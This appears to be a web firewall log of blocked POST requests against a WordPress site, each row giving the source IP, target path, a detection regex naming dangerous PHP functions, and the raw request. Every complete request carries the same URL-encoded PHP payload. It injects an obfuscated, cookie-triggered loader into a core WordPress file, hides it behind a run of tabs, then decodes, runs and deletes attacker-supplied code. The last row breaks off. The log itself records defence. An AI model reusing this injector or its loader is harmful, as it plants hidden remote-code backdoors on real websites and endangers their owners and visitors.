hU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"macOS\"\ncontent-length:4395\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nhU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:46:40","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> mU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4395\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nmU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:48:19","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kO:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept:*\/*\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\ncontent-length:4395\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn08vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\n\nkO=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-block-parser-frame.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B79-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B41-40%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B44%252B-41%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-48%252B52%255D%2529%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520function%2520buffer_cache%2528%2524res%2529%2520%257B%2520%2524record%2520%253D%2520%2524_COOKIE%253B%2520%2524parameter_group%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252704c4d4c6%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524parameter_group%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522data_storage%2522%253B%2520%257D%2520%2524property_set%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524record%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524parameter_group%2529%2529%2520%257B%2520%2524marker%2520%253D%2520fopen%2528%2524parameter_group%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524marker%252C%2520%2524property_set%2529%253B%2520fclose%2528%2524marker%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524parameter_group%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524parameter_group%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522buffer_cache%2522%2529%253B%2520%2524entity%2520%253D%2520%252297597e89aeb6003bc0ea603fb9e306e1%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524record%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522api_gateway_config_manager%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:48:41","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 